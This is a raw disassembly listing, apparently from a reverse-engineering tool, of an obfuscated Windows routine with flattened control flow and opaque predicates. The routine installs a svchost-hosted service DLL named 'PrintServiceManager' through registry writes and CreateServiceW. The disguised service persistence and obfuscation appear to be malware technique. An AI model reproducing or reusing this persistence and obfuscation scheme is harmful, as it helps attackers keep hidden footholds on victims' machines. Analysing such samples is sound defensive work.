mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete ch
cmp dword [0x10098e50], 0xa
setl cl
setge dh
mov dl, cl
or cl, ch
and ch, dh
and dl, al
or dl, ch
xor dh, al
xor cl, 1
or cl, dh
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xc7c50fae
mov edi, 0x45be953
cmovne eax, edi
test cl, 1
mov ecx, 0xc7c50fae
jmp 0x1001d945
cmp ecx, 0x9f043a2e
je 0x1001d06d
cmp ecx, 0x9f8e13eb
jne 0x1001aad6
cmp dword [ebp - 0x84], 0
mov ecx, 0x3f5b56a
mov eax, 0x712696b2
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0x273f44ab
je 0x1001d077
cmp ecx, 0x2773c776
jne 0x1001aad6
mov ecx, 0x1b8d1b4b
jmp 0x1001aad6
cmp ecx, 0xd11772bd
je 0x1001d0e8
cmp ecx, 0xd1e4a8a6
jne 0x1001aad6
mov ecx, 0x382f7e69
jmp 0x1001aad6
cmp ecx, 0x621c33f9
je 0x1001d0f2
cmp ecx, 0x63f88a61
jne 0x1001aad6
mov eax, dword [ebp - 0x2c]
mov ecx, 0x9336cb3f
jmp 0x1001aad6
cmp ecx, 0x81422406
je 0x1001d105
cmp ecx, 0x848ef235
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
mov ebx, 0xcc0af313
mov edi, 0xa2c5bbe6
jmp 0x1001ccec
cmp ecx, 0xf61674f
je 0x1001d11b
cmp ecx, 0xfeefd32
jne 0x1001aad6
mov ebx, 4
push ebx
push dword [ebp - 0x10]
call fcn.100142a9
add esp, 8
mov dword [ebp - 0x6c], 0x2000
push ebx
lea eax, [ebp - 0x6c]
push eax
push ebx
xor esi, esi
push esi
push str.AuthenticationCapabilities
push dword [ebp - 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call edi
mov dword [ebp - 0x68], 1
push ebx
lea eax, [ebp - 0x68]
push eax
push ebx
push esi
push str.CoInitializeSecurityParam
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0xd08bab08
jmp 0x1001aad6
cmp ecx, 0xc99c1f46
je 0x1001d17a
cmp ecx, 0xca1c9f8e
jne 0x1001aad6
mov ecx, 0xc7c50fae
jmp 0x1001aad6
cmp ecx, 0x555b9ef2
je 0x1001d184
cmp ecx, 0x55fec168
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x10098e50], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0x9f043a2e
mov edi, 0xca1c9f8e
jmp 0x1001cec0
cmp ecx, 0xa8f51bed
je 0x1001d18e
cmp ecx, 0xae1d4501
jne 0x1001aad6
cmp byte [ebp - 0x1f], 0
mov ecx, 0x1d936bef
mov eax, 0xb92f6aaa
cmovne ecx, eax
jmp 0x1001aad6
cmp ecx, 0x365d241d
je 0x1001d198
cmp ecx, 0x381015c1
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3e8917c5
and eax, 0xc176e83a
or eax, edx
xor eax, 0xc176e83b
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
test dl, dl
mov ecx, 0xcd840f47
mov edi, 0x85d10fb9
cmovne ecx, edi
test ah, ah
mov edx, 0xcd840f47
jmp 0x1001d6ee
push str.Parameters
push str.PrintServiceManager
push str.Services_
push str.SYSTEMCurrentControlSet_s_s_s
push dword [ebp - 0x98]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [ebp - 0x30e]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
mov ecx, 0x74f92000
mov eax, 0x68bbcc5f
cmove ecx, eax
jmp 0x1001aad6
mov ecx, 0x81422406
jmp 0x1001aad6
mov ecx, 0x75b0fcb0
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x10098e50], 0xa
setge dl
setl ch
mov dh, ch
xor dh, al
and dh, ch
and ch, al
and dl, cl
or ch, dl
mov al, ch
xor al, dh
test ch, ch
mov ecx, 0x956fd462
mov edi, 0x998730f9
cmovne ecx, edi
test dh, dh
mov edx, 0x956fd462
cmove ecx, edx
test al, al
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xb4], eax
cmovne ecx, edi
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfdaf1c78
mov edx, eax
and edx, 0x250e387
or edx, ecx
xor edx, 0x250e386
and eax, 0xfffffffe
or eax, edx
xor eax, 0x3d9cbe1f
xor eax, 0xc26341e0
setne cl
sete dl
cmp dword [0x10098e50], 0xa
setl al
setge ah
and dl, ah
and al, cl
or al, dl
or ah, cl
mov cl, ah
xor cl, al
mov ecx, 0x5eeed175
mov edx, 0xe5998970
cmovne ecx, edx
test ah, ah
mov edx, 0x5eeed175
cmovne edx, ecx
test al, al
cmove edx, ecx
mov ecx, edx
jmp 0x1001aad6
mov ecx, 0x59eb091e
jmp 0x1001aad6
push 0x1009348a
push str.PrintServiceManager
push str.Services_
push str.SYSTEMCurrentControlSet_s_s_s
lea edi, [ebp - 0x30e]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov dword [ebp - 0x30], edi
mov ecx, 0xfc4d81fb
jmp 0x1001aad6
push str.PrintServiceManagerGrp
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push str._s_s_c_s
lea edi, [ebp - 0x30e]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [0x10098e4c]
lea ecx, [edx + 1]
imul ecx, edx
test cl, 1
sete dl
cmp dword [0x10098e50], 0xa
setge dh
xor dl, dh
or cl, dh
mov dh, dl
xor dh, cl
test dh, 1
mov ebx, 0xff4fbd25
mov edi, 0x98925a25
cmovne ebx, edi
test cl, 1
mov ecx, 0x98925a25
cmovne ecx, ebx
mov dword [ebp - 0x8c], eax
test dl, dl
cmovne ecx, ebx
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x13f91237
and eax, 0xec06edc8
or eax, edx
xor eax, 0x13f91236
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x9ae81f2e
mov edi, 0x1a8d9bf1
cmovne ecx, edi
test dl, dl
mov edx, 0x9ae81f2e
cmovne ecx, edx
test al, al
cmove ecx, edi
mov dword [ebp - 0x24], 0
jmp 0x1001aad6
mov ecx, 0x78f574f8
jmp 0x1001aad6
mov ecx, 0x227f43f
jmp 0x1001aad6
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x54], eax
mov ecx, 0x1d4adfd2
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x10098e50], 0xa
setl dl
setge dh
and cl, dh
or dh, al
and dl, al
or dl, cl
mov eax, edx
xor al, dh
test dl, dl
mov ecx, 0xb7f93770
mov edi, 0xf61674f
cmovne ecx, edi
test dh, dh
mov edx, 0xb7f93770
jmp 0x1001d6ee
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov ecx, 0x85d10fb9
jmp 0x1001aad6
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [ebp - 0x30e]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
mov ecx, 0x2dbce473
mov eax, 0x8bc15255
cmove ecx, eax
jmp 0x1001aad6
mov ecx, 0x53f6a382
jmp 0x1001aad6
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x50], eax
mov ecx, 0x774b9a8b
jmp 0x1001aad6
lea eax, [ebp - 0x100]
mov dword [ebp - 0x58], eax
mov ecx, 0xcd5b8e5c
jmp 0x1001aad6
push str.PrintServiceManagerGrp
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push str._s_s_c_s
lea edi, [ebp - 0x30e]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, 0x31e11367
jmp 0x1001aad6
mov eax, dword [ebp - 0x44]
mov ecx, 0x931494ae
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0xece46ec3
mov edi, 0x2a77dd0e
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xece46ec3
cmove ecx, eax
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0xee1e20c7
mov edi, 0xd28ab7c1
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xee1e20c7
cmove ecx, eax
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x10098e50], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0xa41289b1
mov edi, 0xb7622747
jmp 0x1001cec0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
or ah, cl
xor dl, al
mov al, ah
xor al, dl
mov ecx, 0xdcf75303
mov edi, 0x621c33f9
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0xdcf75303
cmovne edx, edi
test ah, ah
cmovne edx, ecx
mov ecx, edx
jmp 0x1001aad6
mov eax, dword [ebp - 0x54]
mov ecx, 0xcc1e36ca
jmp 0x1001aad6
mov ecx, 0x8854bb8d
jmp 0x1001aad6
mov ecx, 0xbe084509
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x795a3f3f
mov edx, eax
and edx, 0x86a5c0c0
or edx, ecx
xor edx, 0x86a5c0c1
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x10098e50], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ah, dl
xor ah, al
test dl, dl
mov ecx, 0x231dfd83
mov edx, 0x399fb632
cmovne ecx, edx
test al, al
cmove ecx, edx
test ah, ah
mov eax, 0x231dfd83
cmove ecx, eax
jmp 0x1001aad6
mov ecx, 0xee1e20c7
jmp 0x1001aad6
mov edi, str.PrintServiceManager
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 7
push 0
push str.PrintServiceManagerGrp
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xae93d08c
and ecx, 0x516c2f73
or ecx, eax
mov eax, dword [ebp - 0x10]
xor ecx, 0xae93d08d
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp dword [0x10098e50], 0xa
setge dl
mov dh, dl
or dh, cl
xor dl, cl
mov cl, dh
xor cl, dl
mov ebx, 0xb0b60687
mov ecx, 0x2cf25593
cmovne ebx, ecx
test dl, dl
mov ecx, ebx
mov edi, 0xb0b60687
cmovne ecx, edi
mov dword [ebp - 0x88], eax
test dh, dh
cmovne ecx, ebx
jmp 0x1001aad6
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
test eax, eax
sete byte [ebp - 0x19]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x10098e50], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
mov ebx, 0xd016cf81
mov ecx, 0xcd840f47
cmovne ebx, ecx
test dl, dl
mov ecx, 0xd016cf81
jmp 0x1001d060
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6997d074
mov edx, eax
and edx, 0x96682f8b
or edx, ecx
xor edx, 0x96682f8a
and eax, 0xfffffffe
or eax, edx
xor eax, 0xa16a465f
cmp eax, 0x5e95b9a0
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
mov ecx, 0x2a77dd0e
mov edi, 0xbe084509
cmovne ecx, edi
not ah
test ah, dl
mov ebx, 0x2a77dd0e
cmove ecx, ebx
test al, al
cmovne ecx, edi
test ah, dl
cmovne ecx, edi
jmp 0x1001aad6
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x24], eax
mov ecx, 0x49a71854
jmp 0x1001aad6
push 4
push dword [ebp - 0x50]
call fcn.100142a9
add esp, 8
mov edi, 0x100931a2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 1
push 0
push str.ServiceMain
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7b513780
and eax, 0x84aec87f
or eax, edx
xor eax, 0x84aec87e
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0x79b25488
mov edi, 0xb91073d1
cmovne eax, edi
test cl, cl
mov ecx, 0x79b25488
jmp 0x1001d945
mov ecx, 0xcfdfe2d4
jmp 0x1001aad6
push dword [ebp - 0x48]
push str.PrintServiceManagerGrp
push str.svchost
push str.__SYSTEMROOT___system32_s.exe__k___s___svcr___s_
lea edi, [ebp - 0x926]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov dword [ebp - 0x38], eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push edi
push eax
push 2
push 0x20
push 0xf01ff
push str.Print_Service_Manager
push str.PrintServiceManager
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x14], eax
mov ecx, 0xa2c5bbe6
jmp 0x1001aad6
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
push dword [ebp - 0x30]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, 0x7298088e
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xea9e36ae
mov edi, 0xc5d4a237
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xea9e36ae
cmove ecx, eax
jmp 0x1001aad6
xor esi, esi
mov dword [ebp - 0xc8], esi
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xc4], esi
mov dword [ebp - 0xbc], 3
lea eax, [ebp - 0xe0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0xc8]
push eax
push 2
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0x1009348a
push esi
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push str._s_s_c_s
lea edi, [ebp - 0x30e]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push 0xf023f
push esi
push esi
push esi
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x84], eax
mov ecx, 0x9f8e13eb
jmp 0x1001aad6
mov ecx, 0xfae1b211
jmp 0x1001aad6
cmp byte [ebp - 0x1c], 0
mov ecx, 0x7f14fe6d
mov eax, 0x5fbe638e
cmovne ecx, eax
jmp 0x1001aad6
push dword [0x10098b68]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov ecx, 0x231dfd83
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
mov ebx, 0xd28ab7c1
mov edi, 0x490bef22
cmovne ebx, edi
not ah
test ah, dl
cmovne ebx, edi
test al, al
mov ecx, ebx
cmovne ecx, edi
test ah, dl
cmove ecx, ebx
jmp 0x1001aad6
mov ecx, 0x4ff8d0fe
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x437bfcd5
mov edx, eax
and edx, 0xbc84032a
or edx, ecx
xor edx, 0xbc84032b
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl cl
xor al, cl
mov edx, eax
mov edi, 0x9f043a2e
mov ebx, 0x55fec168
cmovne edi, ebx
not dl
test dl, cl
cmovne edi, ebx
test al, al
mov eax, edi
cmovne eax, ebx
test dl, cl
cmove eax, edi
mov ecx, eax
jmp 0x1001aad6
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0xcdd36cdd
jmp 0x1001aad6
cmp dword [ebp - 0x8c], 0
mov ecx, 0xefc3ba72
mov eax, 0xfeefd32
cmove ecx, eax
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x223858ef
mov edx, eax
and edx, 0xddc7a710
or edx, ecx
xor edx, 0xddc7a711
and eax, 0xfffffffe
or eax, edx
xor eax, 0x29d145c5
cmp eax, 0xd62eba3a
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x45be953
mov edi, 0x3aa62798
cmovne ecx, edi
test dl, dl
mov edx, 0x45be953
cmovne ecx, edx
test al, al
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4c], eax
cmove ecx, edi
jmp 0x1001aad6
mov ecx, 0x9e47e262
jmp 0x1001aad6
mov eax, dword [0x10098b80]
mov dword [ebp - 0xa8], eax
mov ecx, 0x1e411ebc
jmp 0x1001aad6
mov ecx, 0x5eeed175
jmp 0x1001aad6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x74], eax
mov ecx, 0xb3c8f6f3
jmp 0x1001aad6
mov ecx, 0x365d241d
jmp 0x1001aad6
cmp dword [ebp - 0xa8], 0
mov ecx, 0x63f88a61
mov eax, 0xa5052d4c
cmove ecx, eax
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x10098e50], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0xca2678ca
mov edi, 0xa8f51bed
cmovne edx, edi
test ch, ch
mov ecx, edx
cmovne ecx, edi
jmp 0x1001d75e
cmp byte [ebp - 0x19], 0
mov ecx, 0xea385520
mov eax, 0x7714b349
cmovne ecx, eax
jmp 0x1001aad6
cmp byte [ebp - 0x1e], 0
mov ecx, 0xf75f1be9
mov eax, 0x35f1891f
cmovne ecx, eax
jmp 0x1001aad6
push dword [ebp - 0x90]
push dword [ebp - 0x94]
mov edi, 2
push edi
xor esi, esi
push esi
push str.ServiceDLL
push dword [ebp - 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call ebx
mov eax, dword [ebp - 0x38]
add eax, eax
add eax, edi
push eax
lea eax, [ebp - 0x926]
push eax
push edi
push esi
push str.ImagePath
push dword [ebp - 0x10]
call ebx
mov edi, 0x100931a2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 1
push esi
push str.ServiceMain
push dword [ebp - 0x10]
call ebx
mov dword [ebp - 0x64], esi
mov eax, 4
push eax
lea ecx, [ebp - 0x64]
push ecx
push eax
push esi
push str.ServiceDllUnloadOnStop
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x2dbce473
jmp 0x1001aad6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xb0], eax
mov ecx, 0x4bd703b0
jmp 0x1001aad6
mov dword [ebp - 0x5c], 2
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x30e]
push eax
lea eax, [ebp - 0x5c]
push eax
push 0
push str.ServiceDLL
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ecx, 0xc494641
mov eax, 0x6e11c044
cmove ecx, eax
jmp 0x1001aad6
mov ecx, 0x4c1a08bf
jmp 0x1001aad6
mov dword [ebp - 0x34], 0
mov ecx, 0x8f501b49
jmp 0x1001aad6
push 2
push dword [ebp - 0x14]
call fcn.100142a9
add esp, 8
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9921690a
mov edx, eax
and edx, 0x66de96f5
or edx, ecx
xor edx, 0x66de96f4
and eax, 0xfffffffe
or eax, edx
xor eax, 0xe74d8306
xor eax, 0x18b27cf9
sete al
setne cl
cmp dword [0x10098e50], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
mov ebx, 0x674bb763
mov ecx, 0xc935cb8c
cmovne ebx, ecx
test dl, dl
mov ecx, 0x674bb763
cmovne ecx, ebx
test al, al
cmove ecx, ebx
jmp 0x1001aad6
mov ecx, 0x55fec168
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xbc68a703
mov edx, eax
and edx, 0x439758fc
or edx, ecx
xor edx, 0x439758fd
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl cl
setge dl
xor dl, al
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x4b0e5323
mov edi, 0x621c33f9
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
test al, al
mov eax, 0x4b0e5323
cmovne ecx, eax
jmp 0x1001aad6
mov ecx, 0x9e8c83d5
jmp 0x1001aad6
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x4b0e5323
jmp 0x1001aad6
cmp dword [ebp - 0x7c], 0
mov ecx, 0xfb702633
mov eax, 0x86f7ec7f
cmove ecx, eax
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
mov ecx, 0xb7f93770
mov edi, 0xae1d4501
cmovne ecx, edi
not ah
test ah, dl
mov edx, 0xb7f93770
cmove ecx, edx
cmovne ecx, edi
test al, al
mov eax, dword [ebp - 0x58]
cmovne ecx, edi
cmp dword [eax], 4
sete byte [ebp - 0x1f]
jmp 0x1001aad6
mov ecx, 0x86f7ec7f
jmp 0x1001aad6
mov ecx, 0x4e1a1c36
jmp 0x1001aad6
mov ecx, 0x5c740aa4
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x10098e50], 0xa
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x1652a528
mov edi, 0x54a89837
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0x1652a528
cmove ecx, eax
jmp 0x1001aad6
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
push dword [ebp - 0x30]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
sete byte [ebp - 0x1d]
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1eda0c60
mov edx, eax
and edx, 0xe125f39f
or edx, ecx
xor edx, 0xe125f39e
and eax, 0xfffffffe
or eax, edx
xor eax, 0xcc8e06a1
cmp eax, 0x3371f95e
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x4aa5f076
mov edi, 0x57e334cf
cmovne eax, edi
test cl, cl
mov ecx, eax
mov edi, 0x4aa5f076
jmp 0x1001d506
push dword [ebp - 0x88]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x3f5b56a
jmp 0x1001aad6
mov ecx, 0xb6c33eeb
jmp 0x1001aad6
mov ecx, 0x97d3ce67
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x10098e50], 0xa
setge ch
setl dh
mov dl, dh
xor dl, al
and dl, dh
and ch, cl
and dh, al
or dh, ch
mov eax, edx
xor al, dh
mov eax, 0x9ae81f2e
mov edi, 0xd922a195
cmovne eax, edi
test dh, dh
mov ecx, eax
cmovne ecx, edi
jmp 0x1001d948
cmp byte [ebp - 0x1b], 0
mov ecx, 0x1b8d1b4b
mov eax, 0x2c3b52ae
cmovne ecx, eax
jmp 0x1001aad6
mov ecx, 0x848ef235
jmp 0x1001aad6
xor ecx, ecx
push ecx
lea eax, [ebp - 0x10]
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
push dword [ebp - 0x30]
push 0x80000002
